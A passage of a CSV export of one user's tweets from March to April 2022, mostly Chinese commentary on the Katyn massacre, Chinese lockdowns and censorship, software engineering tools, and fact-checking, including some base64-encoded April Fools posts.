因为有个条约叫“希特勒-斯大林同盟条约”,,https://twitter.com/haoel/status/1511302309329862660\n2141,1511297533187788800,2022-04-05 10:59:45+00:00,5,0,2,,@keye3stone @zhechen20 是的，因为苏联自己的手枪后座力太大了。,,https://twitter.com/haoel/status/1511297533187788800\n2142,1511291357964365826,2022-04-05 10:35:12+00:00,43,0,4,,@Hoyooyoo 两万多人一百多天，每天都要杀，杀到十几天时，手就不行了。因为因为是秘密处决，所以，执行需要秘密进行，所以也是少数人来干……,,https://twitter.com/haoel/status/1511291357964365826\n2143,1511288840438255616,2022-04-05 10:25:12+00:00,437,39,19,,我为什么会关注这历史？因为在2008年的时候，在地铁口买了一张盗版光盘，这张盗版光盘就是电影《卡廷惨案&gt;》，看完后我的三观都被颠覆了，因为这么大的事，我居然闻所未闻……从那天开始我就开始喜欢历史，开始学会自己搜索信息……,,https://twitter.com/haoel/status/1511288840438255616\n2144,1511285197517467649,2022-04-05 10:10:44+00:00,167,27,2,,3）冷战时期，在波兰，为了和苏联的宣传相和谐，亲苏联的政府掩盖了卡廷屠杀的信息，并对可能唤醒此事件的信息源头实施慎重的审查。卡廷在波兰成为一个禁忌的话题，不仅仅是政府审查压制了所有相关内容，甚至提及它都是危险的。卡廷被从波兰官方历史中擦除。直到1989年的东欧剧变苏联解体之后…… 3/3,,https://twitter.com/haoel/status/1511285197517467649\n2145,1511285194015199237,2022-04-05 10:10:43+00:00,744,271,21,,\"帮补充几个卡廷惨案的历史小知识：\n\n1）苏联在屠杀的时候一天只能屠杀200多人，一个原因是手枪的后座力太大了，开抢开到手疼。这两万多人里面包括波兰的高级军官，官员，警察，医生，律师，大学教授，工程师，作家，记者，飞行员……基本上是整个波兰国家的精英。1/3\",,https://twitter.com/haoel/status/1511285194015199237\n2146,1511216469580804107,2022-04-05 05:37:38+00:00,360,46,60,,推上有没有朋友在2020年经历了武汉封城，2022年又经历了上海封城的，我估计应该是有的。想听听亲历了这两次封城经历的人的想法，如果不方便公开说，欢迎私信。,,https://twitter.com/haoel/status/1511216469580804107\n2147,1511208374376968193,2022-04-05 05:05:28+00:00,23,0,2,,@EZFIX_ 右下角的404亮了,,https://twitter.com/haoel/status/1511208374376968193\n2148,1511203705198022661,2022-04-05 04:46:54+00:00,7,0,0,,\"@fircst @waylybaye 关键你走在大街上，身上贴满了标签\"\"我很潮\"\"，也代表不了任何事\",,https://twitter.com/haoel/status/1511203705198022661\n2149,1511198707940675584,2022-04-05 04:27:03+00:00,52,0,3,,\"@waylybaye 我可以想象过一段时间你会写下：\n\n“认真想了想，如果把每月花在做打扮自己的几千块钱拿来买HomeLab、路由器、VPS学习知识，增强技能，肯定也能搞出点什么。做头发、买潮牌这些东西很难加能力啊（”\",,https://twitter.com/haoel/status/1511198707940675584\n2150,1511175485488713728,2022-04-05 02:54:46+00:00,84,6,18,,买MacBook又多了一个理由，打起战来，可以改成防弹背心……,,https://twitter.com/haoel/status/1511175485488713728\n2151,1510872187036594177,2022-04-04 06:49:34+00:00,143,3,12,,北京朝阳路，日落时分…… https://t.co/fGawcT7Njb,,https://twitter.com/haoel/status/1510872187036594177\n2152,1510819440983564298,2022-04-04 03:19:59+00:00,361,38,25,,如果你是一个不会写程序的程序员，又是一个也不会做设计的设计怖，那就可以成为一个产品经理……😂😂 https://t.co/56DNEfk5G2,,https://twitter.com/haoel/status/1510819440983564298\n2153,1510779224767942660,2022-04-04 00:40:10+00:00,13,0,4,,@LinksSonny 我当然早就知道，我觉得你没有get到本推的内涵，上来就说too young too simple……我一会儿会拉黑你……,,https://twitter.com/haoel/status/1510779224767942660\n2154,1510777510174154755,2022-04-04 00:33:21+00:00,0,0,0,,@fancylea 本推不是讨论原理……😜,,https://twitter.com/haoel/status/1510777510174154755\n2155,1510776124972109824,2022-04-04 00:27:51+00:00,165,29,23,,同一个微信群里，海外同学转发的只有海外同学（对话中的猫和老鼠头像）可以看，国内的同学啥也看不见（熊猫头像）……这种屏蔽国内但不屏蔽国外的做法，难道不就是赤裸裸的给海外的刀子，给敌对势力抹黑我们提供素材的反华行径么？！ https://t.co/Y9w8DAMh3T,,https://twitter.com/haoel/status/1510776124972109824\n2156,1510680096012587015,2022-04-03 18:06:16+00:00,236,52,2,,很早以前，有人问我为什么写下这个科学上网之“数据中心的透明网关”（包括k8s集群的）https://t.co/xLvNQFCmbC 原因如下……,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#8-%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E9%80%8F%E6%98%8E%E7%BD%91%E5%85%B3', tcourl='https://t.co/xLvNQFCmbC', indices=(42, 65))]\",https://twitter.com/haoel/status/1510680096012587015\n2157,1510679144014614533,2022-04-03 18:02:29+00:00,141,32,0,,@BillChen2K 很早以前就受不了镜像的方式了……科学上网之“数据中心的透明网关”（包括k8s集群的），没有梯子，什么都搞不了……https://t.co/xLvNQFCmbC,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#8-%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E9%80%8F%E6%98%8E%E7%BD%91%E5%85%B3', tcourl='https://t.co/xLvNQFCmbC', indices=(68, 91))]\",https://twitter.com/haoel/status/1510679144014614533\n2158,1510087041823899651,2022-04-02 02:49:41+00:00,58,3,3,,@DashHuang 我们在架构上，叫这种架构叫——客户端的服务发现。这种应该叫“人肉端的服务发现”！,,https://twitter.com/haoel/status/1510087041823899651\n2159,1510048344185352195,2022-04-02 00:15:55+00:00,0,0,0,,@DashHuang 看馋了,,https://twitter.com/haoel/status/1510048344185352195\n2160,1509912204945989640,2022-04-01 15:14:57+00:00,28,1,4,,我告诉你怎么伪造“只支持撤回”的聊天记录一一只要你有一个撤回记录，就总是会让人觉得，你之前一定是发了什么不好的消息，不然你不会撤回的。于是，每个人都会很好奇你发了什么不该发的，这其实已经为想黑你的人辅好路了，只要伪造一个撤回前的截图，就可以让你百口莫辨……,,https://twitter.com/haoel/status/1509912204945989640\n2161,1509905959090462721,2022-04-01 14:50:08+00:00,34,3,10,,1）究竟是什么样的人才会跟会害自己的人聊天交流？2）而且，智商得是什么样的的人才会认为，只要不支持聊天记录编辑，坏人就不能伪造或段章取义聊天记录了？,,https://twitter.com/haoel/status/1509905959090462721\n2162,1509859900528431104,2022-04-01 11:47:06+00:00,2,0,0,,@qiankunbagua 不可能吗？ https://t.co/H43xZrHIMc,,https://twitter.com/haoel/status/1509859900528431104\n2163,1509859466732195841,2022-04-01 11:45:23+00:00,0,0,2,,@C5bMLkCQA60eFFG @kevinzhow 提高个毛线的门槛，这种聊天记录随便找个工具，两分钟就伪造出来了。,,https://twitter.com/haoel/status/1509859466732195841\n2164,1509852787923832832,2022-04-01 11:18:51+00:00,27,1,5,,@kevinzhow 有些人说可以编辑就可以伪造聊天记录。真要伪造聊天记录，有100种方法伪造，你不给我编辑，我也可以伪造，尽想这些不在主场景上的事儿，脑子坏掉了。你要害怕伪造，你就不要聊天，你们发签字文件……,,https://twitter.com/haoel/status/1509852787923832832\n2165,1509839524330803205,2022-04-01 10:26:08+00:00,86,6,26,,今天的StackOverflow变成了Windows 95，底边还有一组图标可以变成其它样式…… https://t.co/LipC0vy4wF,,https://twitter.com/haoel/status/1509839524330803205\n2166,1509803387092541440,2022-04-01 08:02:32+00:00,68,14,2,,Golang 1.18的泛型，因为稳重，所以，Rob Pike建议（https://t.co/0NQaRGGgTq）不要把一些泛型库放在1.18的标准库中，于是你需要使用https://t.co/wBKOgtOPiW 包。这个issue中有个评论——中文叫“心急吃不了热豆腐”，言外之意，心急可以吃生豆腐…… 😂😂😂 https://t.co/x3DbOvjKGT,\"[TextLink(text='github.com/golang/go/issu…', url='https://github.com/golang/go/issues/48918', tcourl='https://t.co/0NQaRGGgTq', indices=(34, 57)), TextLink(text='golang.org/x/exp/constrai…', url='http://golang.org/x/exp/constraints', tcourl='https://t.co/wBKOgtOPiW', indices=(85, 108))]\",https://twitter.com/haoel/status/1509803387092541440\n2167,1509779759860838404,2022-04-01 06:28:39+00:00,0,0,2,,@lcomplete_wild 这个插件真好用,,https://twitter.com/haoel/status/1509779759860838404\n2168,1509779683096731652,2022-04-01 06:28:21+00:00,1,0,0,,@WestdragonCool1 这个就是让非程序员看不懂而已，计算机程序很容易破解,,https://twitter.com/haoel/status/1509779683096731652\n2169,1509779065191862278,2022-04-01 06:25:54+00:00,1,0,0,,@Marcos_q_liu 5oiR5piv55So5LqG6L+Z5Liq5LqS6L2s5o+S5Lu277yaaHR0cHM6Ly9jaHJvbWUuZ29vZ2xlLmNvbS93ZWJzdG9yZS9kZXRhaWwvYmFzZTY0LWVuY29kZWRlY29kZS1zZWxlYy9na2RjcGltYWdnZ2JuamRramhibmlsZmVpaWRoZGhjbA==,,https://twitter.com/haoel/status/1509779065191862278\n2170,1509714270623174656,2022-04-01 02:08:25+00:00,3,0,10,,44Gn44Gv44CBYmFzZTY044Go5pel5pys6Kqe44KS5L2/44GI44Gw44CB44Kz44Oz44OU44Ol44O844K/44Gr55aO44GE44Km44Kn44OW5qSc6Zay5a6Y44KE5pel5pys6Kqe44Gr55aO44GE6Ieq5YuV5qSc6Zay44K544Kv44Oq44OX44OI44GL44KJ6YCD44KM44KJ44KM44KL44Gu44Gn44GX44KH44GG44GL77yf,,https://twitter.com/haoel/status/1509714270623174656\n2171,1509713812898820117,2022-04-01 02:06:36+00:00,0,0,0,,@drivertomtt 44Gn44Gv44CBYmFzZTY044Go5pel5pys6Kqe44KS5L2/44GI44Gw44CB44Kz44Oz44OU44Ol44O844K/44Gr55aO44GE44Km44Kn44OW5qSc6Zay5a6Y44KE5pel5pys6Kqe44Gr55aO44GE6Ieq5YuV5qSc6Zay44K544Kv44Oq44OX44OI44GL44KJ6YCD44KM44KJ44KM44KL44Gu44Gn44GX44KH44GG44GL77yf,,https://twitter.com/haoel/status/1509713812898820117\n2172,1509712298817953792,2022-04-01 02:00:35+00:00,1,0,1,,@nishuang 44Go44GE44GG44GT44Go44Gv44CBQmFzZTY044KC44GU5a2Y44GY44Gq44KT44Gn44GZ44Gt77yB44GZ44GU44GE44CC,,https://twitter.com/haoel/status/1509712298817953792\n2173,1509711617218424863,2022-04-01 01:57:53+00:00,6,0,2,,44Gn44Gv44CB5pel5pys5Lq644KSYmFzZTY044Gr44GZ44KM44Gw44CB44Kz44Oz44OU44Ol44O844K/44O86Z+z55e044Gu44Km44Kn44OW5qSc6Zay5a6Y44KE44CB5pel5pys6Kqe44KS55CG6Kej44GX44Gq44GE6Ieq5YuV5qSc6Zay44K544Kv44Oq44OX44OI44GL44KJ6YCD44KM44KJ44KM44KL44Gu44Gn44GX44KH44GG44GL77yf,,https://twitter.com/haoel/status/1509711617218424863\n2174,1509710746321530900,2022-04-01 01:54:25+00:00,0,0,0,,@mingliu63154112 6L+Z5Lqb5a6h5p+l6YO95piv6Ieq5Yqo5YyW55So56iL5bqP6LeR55qE77yM5omA5Lul77yM56iL5bqP5bqU6K+l5Y+q6IO95a6h5p+l5Lit5paH5ZKM6Iux5paH77yM5pel5paH5LiN5LiA5a6a44CC,,https://twitter.com/haoel/status/1509710746321530900\n2175,1509710265348108294,2022-04-01 01:52:30+00:00,2,0,1,,@_lrtg 5L2g5aSq5LiN5LqG6Kej5LuW5Lus55qE5omL5q615LqG77yMVHdpdHRlcuS5n+aYr+iiq+ebkeaOp+edgOeahOKApuKApg==,,https://twitter.com/haoel/status/1509710265348108294\n2176,1509709867874865152,2022-04-01 01:50:56+00:00,11,1,12,,5rOo77ya55SoYmFzZTY055qE57yW56CB5p2l5Y+R6KiA77yM5a+55LqO5Lq657G75piv5b6I5LiN5Y+L5aW955qE77yM5L2G5piv5a+55LqO6K6h566X5py65piv6Z2e5bi45Y+L5aW955qE77yM5omA5Lul77yM6L+Z5qC355qE5Y+R6KiA5LiN5piv5Li65LqG6YG/5YWN5a6h5p+l77yM5Y+q5piv5Li65LqG5Y+q6K6p5oeC6K6h566X5py655qE5Lq655yL44CC,,https://twitter.com/haoel/status/1509709867874865152\n2177,1509708258172317707,2022-04-01 01:44:32+00:00,58,7,98,,5oiR55yL5pyJ5Lqb5Lq65ZyoVHdpdHRlcuS4jeeUqOS4reaWh+WSjOiLseaWh+WPkeiogO+8jOiAjOaYr+eUqOaXpeaWh++8jOWIq+S6uuWPquimgeeCueS4i+KAnOe/u+ivkeKAneWwseWPr+S7peaKiuaWh+Wtl+e/u+ivkei/h+adpe+8jOS8sOiuoeaYr+aDs+mAg+mBv+S/oeaBr+WuoeafpeOAguaYr+i/meagt+eahOWQl++8nw==,,https://twitter.com/haoel/status/1509708258172317707\n2178,1509058944173441028,2022-03-30 06:44:23+00:00,36,3,1,,@kevinzhow https://t.co/ZHnDINLOaF,,https://twitter.com/haoel/status/1509058944173441028\n2179,1509053076849762304,2022-03-30 06:21:05+00:00,4,0,1,,@waylybaye 我也买不起……,,https://twitter.com/haoel/status/1509053076849762304\n2180,1509016604561985548,2022-03-30 03:56:09+00:00,44,1,4,,\"我：要不我给你介绍几个微商，丰富一下你的朋友圈？\n\n朋友：微商不挺普大帝么？\n\n我：哦，是我草率了。应该也挺，挺了后会更好卖货。尤其是普大帝的家乡货……\",,https://twitter.com/haoel/status/1509016604561985548\n2181,1509015289706414082,2022-03-30 03:50:55+00:00,1,0,0,,@danyuan18 我跟他都是属于互相调侃的对话。,,https://twitter.com/haoel/status/1509015289706414082\n2182,1509014194481369088,2022-03-30 03:46:34+00:00,367,26,17,,\"朋友：“18年跑来美帝，觉得中国迅猛发展外国人太懒，不认真干活！这两年回头看，国内互联网发展，特别最近裁员 ，三观崩溃。加上乌克兰战争，居然朋友圈都给普大帝叫好，我都给屏蔽了，结果发现没朋友了，太可怜了……”\n\n我回：“拉黑的挺好，搞不好过几年，你就成汉奸了，还会连累你的朋友……”\",,https://twitter.com/haoel/status/1509014194481369088\n2183,1508950956699885569,2022-03-29 23:35:17+00:00,0,0,0,,@calon 哈哈哈,,https://twitter.com/haoel/status/1508950956699885569\n2184,1508950514846736385,2022-03-29 23:33:32+00:00,99,6,7,,\"严谨一点：\n1. git commit\n2. git push -f\n3. leave building\",,https://twitter.com/haoel/status/1508950514846736385\n2185,1508945351473958913,2022-03-29 23:13:01+00:00,333,7,53,,与一位美帝的朋友交谈，“教科书式”的英语对话…… https://t.co/mr6mu3zvNr,,https://twitter.com/haoel/status/1508945351473958913\n2186,1508938590947987457,2022-03-29 22:46:09+00:00,1,0,0,,@Oracleinchina 是的，https://t.co/35xfVbJcyV,\"[TextLink(text='book.douban.com/subject/353131…', url='https://book.douban.com/subject/35313199/', tcourl='https://t.co/35xfVbJcyV', indices=(18, 41))]\",https://twitter.com/haoel/status/1508938590947987457\n2187,1508817349998174214,2022-03-29 14:44:23+00:00,64,8,14,,这***隐去了什么原因……为人父母以后最见不得这样的事了！ https://t.co/HjiW86SCzX,,https://twitter.com/haoel/status/1508817349998174214\n2188,1508814234024611841,2022-03-29 14:32:00+00:00,0,0,1,,@nishuang 我们程序员还自称自己码农和码畜呢，你们设计师奖似的吗？😜,,https://twitter.com/haoel/status/1508814234024611841\n2189,1508812826919456783,2022-03-29 14:26:24+00:00,0,0,0,,@tobemaster56 因为那本书里面大量都是我博客上的内容。,,https://twitter.com/haoel/status/1508812826919456783\n2190,1508811921725829127,2022-03-29 14:22:49+00:00,0,0,1,,@tinyfool 一边凉快去……,,https://twitter.com/haoel/status/1508811921725829127\n2191,1508809816399138820,2022-03-29 14:14:27+00:00,3,0,2,,@tobemaster56 其实也不用买，多看我的博客就好。🤪,,https://twitter.com/haoel/status/1508809816399138820\n2192,1508807893478514703,2022-03-29 14:06:48+00:00,0,0,0,,@Tankcarghost 从结果上你也应该能看得到的……,,https://twitter.com/haoel/status/1508807893478514703\n2193,1508807654659043328,2022-03-29 14:05:51+00:00,0,0,0,,@tobemaster56 刚在原推下回复了,,https://twitter.com/haoel/status/1508807654659043328\n2194,1508807521414356994,2022-03-29 14:05:20+00:00,109,9,4,,这本书是得到策划的介绍职业的书，主要是给准备入行的人看的，本来的书名叫《这就是程序员》，在我的强烈建议下改成了《这就是软件工程师》，因为程序员更偏写代码的劳动力一些，而工程师更偏解决问题的工匠一些，我希望后浪们以“工程师”自居而不是“程序员”……,,https://twitter.com/haoel/status/1508807521414356994\n2195,1508806302180515854,2022-03-29 14:00:29+00:00,0,0,0,,@jazztronix 所以大部分人都是平庸的劳动力……干到35岁就不知所措了……,,https://twitter.com/haoel/status/1508806302180515854\n2196,1508804693631422464,2022-03-29 13:54:05+00:00,410,80,31,,朋友传给我的，写的真好……还引用了《代码大全》里的——人们经常会混淆行动与进展，混淆忙碌与多产…… https://t.co/dilJmZfYJj,,https://twitter.com/haoel/status/1508804693631422464\n2197,1508589934340280322,2022-03-28 23:40:43+00:00,224,28,5,,@waylybaye 我感觉你其实不是不知道自己想要什么，而是害怕失去。选择是有代价的，你不选择的代价更大；选择是要冒险的，你不敢冒险的风险更大；选择是需要放弃的，因为无论怎么选你都会要放弃…… https://t.co/wrutxD9wbK,,https://twitter.com/haoel/status/1508589934340280322\n2198,1508588686002118661,2022-03-28 23:35:45+00:00,40,1,2,,@super_leeyom 远离微信公众号👍🏻👍🏻,,https://twitter.com/haoel/status/1508588686002118661\n2199,1508420014327562243,2022-03-28 12:25:31+00:00,165,9,11,,只有当程序员非常积极以至于没有奖励他(她)也愿意工作时，才是唯一给予绩效奖励的时候。 -- 《大教堂与集市》,,https://twitter.com/haoel/status/1508420014327562243\n2200,1508385901121990662,2022-03-28 10:09:57+00:00,0,0,0,,@gaodaniel 不需要知道为什么，感受就好了……😂,,https://twitter.com/haoel/status/1508385901121990662\n2201,1508380422203355139,2022-03-28 09:48:11+00:00,20,2,0,,传到gist上吧，这样好维护 https://t.co/TtSV7TLd6P,\"[TextLink(text='gist.github.com/haoel/573bd147…', url='https://gist.github.com/haoel/573bd147361f4153f5dbc800c16f4412', tcourl='https://t.co/TtSV7TLd6P', indices=(15, 38))]\",https://twitter.com/haoel/status/1508380422203355139\n2202,1508306328741199876,2022-03-28 04:53:46+00:00,190,35,8,,公司群里的微分享：对于各种中间件的 mTLS 的配置上的 tips…… https://t.co/9uzVBtPDLX,,https://twitter.com/haoel/status/1508306328741199876\n2203,1508113752423481348,2022-03-27 16:08:32+00:00,7,0,2,,@6uBfsu2ZOLqGTAA 不经意地在外面路边的停车场遗落几个U盘，里面的木马连的IP是另一台肉鸡，你怎么查？人都不用出现……,,https://twitter.com/haoel/status/1508113752423481348\n2204,1508109962467180546,2022-03-27 15:53:29+00:00,114,7,10,,太麻烦了，玩社工还要带路由器架Wi-Fi 抓包，太容易暴露自己被抓了。这已经不算大神了。在地上丢几个里面存放着“阿里P9以上人员工资表.exe”的U盘不香么……,,https://twitter.com/haoel/status/1508109962467180546\n2205,1508053492220325888,2022-03-27 12:09:05+00:00,0,0,0,,@Atomxx3 港片里的黑社会,,https://twitter.com/haoel/status/1508053492220325888\n2206,1508039085142646790,2022-03-27 11:11:50+00:00,82,12,5,,再加一条：这世上有两种公司，一种是电影工作组，另外一种是小商品工厂。他们都是基于一种“X理论”或“Y理论”等人设计的，前者懒惰，需要有人鞭笞，后者积极主动，自我激发，有很好的学习能力和创造力，所以这是完全不同的两种企业……前者需要很重的管理，或者需要的只是自由。https://t.co/l3LZtssuGw,\"[TextLink(text='coolshell.cn/articles/4951.…', url='https://coolshell.cn/articles/4951.html', tcourl='https://t.co/l3LZtssuGw', indices=(131, 154))]\",https://twitter.com/haoel/status/1508039085142646790\n2207,1508036852971827200,2022-03-27 11:02:58+00:00,1,1,0,,@artest_hu1 你这个问题，我10年前就发过文章了。参看：https://t.co/l3LZtssuGw,\"[TextLink(text='coolshell.cn/articles/4951.…', url='https://coolshell.cn/articles/4951.html', tcourl='https://t.co/l3LZtssuGw', indices=(33, 56))]\",https://twitter.com/haoel/status/1508036852971827200\n2208,1508036494249762822,2022-03-27 11:01:32+00:00,8,0,2,,@Dalaoshu4 每个阶段好的人是一定有的。关键是你配不配得上他们……你做的事情，你的方向和愿景，还有你自己的个人胸怀。对于创业公司来说，创始团队必须是好的人……,,https://twitter.com/haoel/status/1508036494249762822\n2209,1508034545282543617,2022-03-27 10:53:48+00:00,406,58,23,,我记得以前有个美帝的管理mentor跟我说，影响整个组织效率最大的其实就是管理者自己，所以管理者最好不要去管人，而是把最好的人招进来，然后把这些最好人的做出来的事，形成最佳实践和相关的工具和产品，变成组织的资产，让所有人获益……,,https://twitter.com/haoel/status/1508034545282543617\n2210,1508024857576960001,2022-03-27 10:15:18+00:00,0,0,0,,@holyshi12005840 @waylybaye 居然安全出坑退休了……,,https://twitter.com/haoel/status/1508024857576960001\n2211,1507989789160591364,2022-03-27 07:55:57+00:00,0,0,1,,@CindyCreation @waylybaye 你也不年轻了，以后叫我“欧巴”,,https://twitter.com/haoel/status/1507989789160591364\n2212,1507968150976942085,2022-03-27 06:29:58+00:00,2,0,1,,@holyshi12005840 @waylybaye 那文章快20年了，怎么样，这抗爬不上来了吧？😂,,https://twitter.com/haoel/status/1507968150976942085\n2213,1507954575814246402,2022-03-27 05:36:01+00:00,289,16,8,,@waylybaye 只要你说你不敢说，那你的立场已经很明显了，别以为我不知道你想说什么…… #苏联笑话,,https://twitter.com/haoel/status/1507954575814246402\n2214,1507574492108771334,2022-03-26 04:25:42+00:00,3,0,1,,@tinyfool 是我挖的坑吗？,,https://twitter.com/haoel/status/1507574492108771334\n2215,1507538606692306947,2022-03-26 02:03:07+00:00,120,14,4,,给我司MegaEase的Github主页加了个profile，自动化生成的Release和文章列表，全靠上古的 RSS Feed 和想要啥就有啥的 Github Action…… https://t.co/CWEdwVlfWg,,https://twitter.com/haoel/status/1507538606692306947\n2216,1507365134506684426,2022-03-25 14:33:48+00:00,43,3,13,,为什么他看表的时候，我会感觉他要开始带货卖表了……,,https://twitter.com/haoel/status/1507365134506684426\n2217,1507312393398804488,2022-03-25 11:04:13+00:00,96,5,10,,最后，就是强大的社区，尤其像Java这样，大量标准的代码被人实现了无数遍，完全就是个“低代码”开发……,,https://twitter.com/haoel/status/1507312393398804488\n2218,1507311515648495618,2022-03-25 11:00:44+00:00,475,80,18,,\"程序开发中只要三种工具够强，幸福感是满满的\n1）第一个是编程工具。像Java/Go这样的支持各种lint, format, test, profiler, benchmark....\n2）第二个是IDE工具。像VSCode/IDEA这类的IDE 再加上各种好用的开发插件……\n3）第三个是CI/CD的工具。像Github Action这样残酷无情地进行各种自动化……\",,https://twitter.com/haoel/status/1507311515648495618\n2219,1507283591876677639,2022-03-25 09:09:46+00:00,78,13,1,,\"如约，这个探活小工具 EaseProbe 开源了，新的版本里支持redis, mysql, mongodb, kafka的native client探活（支持mTLS），开源Github地址在这里：https://t.co/2u86sC8zZ6\",\"[TextLink(text='github.com/megaease/easep…', url='https://github.com/megaease/easeprobe', tcourl='https://t.co/2u86sC8zZ6', indices=(99, 122))]\",https://twitter.com/haoel/status/1507283591876677639\n2220,1507222265682751492,2022-03-25 05:06:05+00:00,26,0,5,,没有人想去看一下这个审稿人是谁吗？,,https://twitter.com/haoel/status/1507222265682751492\n2221,1507185081726644254,2022-03-25 02:38:20+00:00,1,0,0,,@fircst 重点不是这个，你要看到最后……,,https://twitter.com/haoel/status/1507185081726644254\n2222,1507178761417998338,2022-03-25 02:13:13+00:00,41,8,4,,\"新冠基因组长约 30,000 个核苷酸，找到19个匹配就可以证明有关系？很多细菌和动物都可以找到与之匹配的核苷酸，比如，雨燕（https://t.co/dQxf6eyyaf）。另外，这篇论文发表的期刊是同行评审制。几乎所有的论文都有三个审稿人，然而这篇文章只有一个审稿人……论文原文：https://t.co/6h5EFGIVyS 4/4\",\"[TextLink(text='twitter.com/MGerdol/status…', url='https://twitter.com/MGerdol/status/1496130768854212624', tcourl='https://t.co/dQxf6eyyaf', indices=(63, 86)), TextLink(text='frontiersin.org/articles/10.33…', url='https://www.frontiersin.org/articles/10.3389/fviro.2022.834808/full#B10', tcourl='https://t.co/6h5EFGIVyS', indices=(142, 165))]\",https://twitter.com/haoel/status/1507178761417998338\n2223,1507178759060828168,2022-03-25 02:13:12+00:00,47,5,3,,对于这两在微博热搜的——美国新冠疫苗公司Moderna莫纳德制造了新冠病毒的新闻，我看了一下： https://t.co/GHvxoiCHgF 和 https://t.co/MdQewhFUiv 上的调查就可以发现原报道的问题。原报道声称新冠病毒中跟疫苗中有19个核苷酸序列重叠，所以说明是疫苗厂制造的，这个说法受到来自科学界的强烈抨击  3/4,\"[TextLink(text='politifact.com/factchecks/202…', url='https://www.politifact.com/factchecks/2022/mar/24/blog-posting/no-study-doesnt-prove-moderna-created-covid-19/', tcourl='https://t.co/GHvxoiCHgF', indices=(48, 71)), TextLink(text='factcheck.afp.com/doc.afp.com.32…', url='https://factcheck.afp.com/doc.afp.com.326Q8PG', tcourl='https://t.co/MdQewhFUiv', indices=(74, 97))]\",https://twitter.com/haoel/status/1507178759060828168\n2224,1507178757093613574,2022-03-25 02:13:12+00:00,83,19,2,,有两个比较大的fact checking的网站： https://t.co/4WELEyyO4S 和https://t.co/30Ha4W9NnU，一些新闻媒体也有相关的事实核查，如华盛顿邮报和法新社都有他们的fact checking。这些事实核查机构和社交媒体都有合作，比如：PolitiFact跟Facebook有合作，假信息在经过核查后在Facebook上会进行标记  2/4,\"[TextLink(text='PolitiFact.com', url='http://PolitiFact.com', tcourl='https://t.co/4WELEyyO4S', indices=(25, 48)), TextLink(text='FactCheck.org', url='http://FactCheck.org', tcourl='https://t.co/30Ha4W9NnU', indices=(50, 73))]\",https://twitter.com/haoel/status/1507178757093613574\n2225,1507178755013300225,2022-03-25 02:13:11+00:00,228,51,26,,对于真假信息满天飞的情况，应该是用什么样的方法来解决？是加大信息审查管制还是别的方式？墙外比较流行的方式是事实核查fact checking，由一些独立的无盈利组织完成。这个事始于2000年左右的美国，特别是在2016年川普上台后，fact-checking这个事越来越受大众欢迎，并开始传播到欧洲和拉美国家。1/4,,https://twitter.com/haoel/status/1507178755013300225\n2226,1506916430209421313,2022-03-24 08:50:48+00:00,66,3,11,,北京成“寂静岭”了…… https://t.co/L29llmz4WL,,https://twitter.com/haoel/status/1506916430209421313\n2227,1506455713777799168,2022-03-23 02:20:05+00:00,160,23,15,,查了一下美国白宫的公务员的人员薪资表，发现这个PDF的链接是：https://t.co/Zdow0EG9Tv ，原来白宫的网站是用Wordpress搭的……,\"[TextLink(text='whitehouse.gov/wp-content/upl…', url='https://www.whitehouse.gov/wp-content/uploads/2021/07/July-1-2021-Report-Final.pdf', tcourl='https://t.co/Zdow0EG9Tv', indices=(31, 54))]\",https://twitter.com/haoel/status/1506455713777799168\n2228,1506426545530814464,2022-03-23 00:24:11+00:00,0,0,0,,@wangweiggsn @trtr2021trtr @ftium4 手写,,https://twitter.com/haoel/status/1506426545530814464\n2229,1506295650375372817,2022-03-22 15:44:03+00:00,72,8,6,,@kevinzhow 任何技术主要看社区，没有社区，是支持不过来的。产品从0到1，任何技术都可以用，而从1到10时，主流大众技术都可用，而从10到100时，只剩Java了……,,https://twitter.com/haoel/status/1506295650375372817\n2230,1506283597761847305,2022-03-22 14:56:09+00:00,18,1,0,,@yetone 万年老梗！ https://t.co/r7gll2zG20,,https://twitter.com/haoel/status/1506283597761847305\n2231,1506280019424956419,2022-03-22 14:41:56+00:00,9,0,0,,\"@_hisriver If the you felt css  so hard, it means you should read the fucking css spec …\",,https://twitter.com/haoel/status/1506280019424956419\n2232,1506278738840866817,2022-03-22 14:36:51+00:00,15,0,0,,@nishuang Elona 的灵感之源…… https://t.co/Q5oywyQlMc,,https://twitter.com/haoel/status/1506278738840866817\n2233,1506173673559904258,2022-03-22 07:39:21+00:00,0,0,0,,@VYSEa @allenx812 是这款CPU : https://t.co/GIhY0KjXAF,\"[TextLink(text='en.wikipedia.org/wiki/Cyrix_5x86', url='https://en.wikipedia.org/wiki/Cyrix_5x86', tcourl='https://t.co/GIhY0KjXAF', indices=(27, 50))]\",https://twitter.com/haoel/status/1506173673559904258\n2234,1506119434863198212,2022-03-22 04:03:50+00:00,0,0,2,,@allenx812 是5x86 是不是133，有点儿忘了，98年买的电脑，96年的游戏，98年才玩上……,,https://twitter.com/haoel/status/1506119434863198212\n2235,1506075538191921153,2022-03-22 01:09:24+00:00,1,0,1,,@tiger00853 当时的硬盘的顶配 120MB两年后才1GB,,https://twitter.com/haoel/status/1506075538191921153\n2236,1506074041861386244,2022-03-22 01:03:27+00:00,82,2,18,,\"昨天在Discord里看到同事在玩古墓丽影，我是这个游戏的死忠粉，从DOS时代的Tomb Raider就在玩了，每一代都没有错过。在Youbute上看到有 1996年第一代的Tomb Raider的视频，大家可以感受一下。当时我的电脑配置是：主频133MHz，内存8MB，硬盘80MB，这配置今天只能算是单片机…\nhttps://t.co/oQAFGwK3Gu\",\"[TextLink(text='youtube.com/watch?v=UDm6F4…', url='https://www.youtube.com/watch?v=UDm6F463QMI', tcourl='https://t.co/oQAFGwK3Gu', indices=(157, 180))]\",https://twitter.com/haoel/status/1506074041861386244\n2237,1505931841932386309,2022-03-21 15:38:24+00:00,1018,130,101,,在我心中，Web前瑞应用的两大天花板，一个是Google Doc，另一个是Figma ，而且各大浏览器上都完美工作，再这么干下去，浏览器就成下一代的操作系统了……今天好多桌面应用假装是Native的，实际上是Web的，如果浏览器再增强下去，桌面App可以是一个URL的快捷方式的存在了……,,https://twitter.com/haoel/status/1505931841932386309\n2238,1505919087716696067,2022-03-21 14:47:43+00:00,0,0,1,,@CindyCreation @tinyfool @waylybaye 👍🏻,,https://twitter.com/haoel/status/1505919087716696067\n2239,1505917912007077889,2022-03-21 14:43:03+00:00,1,0,2,,@metaiseth 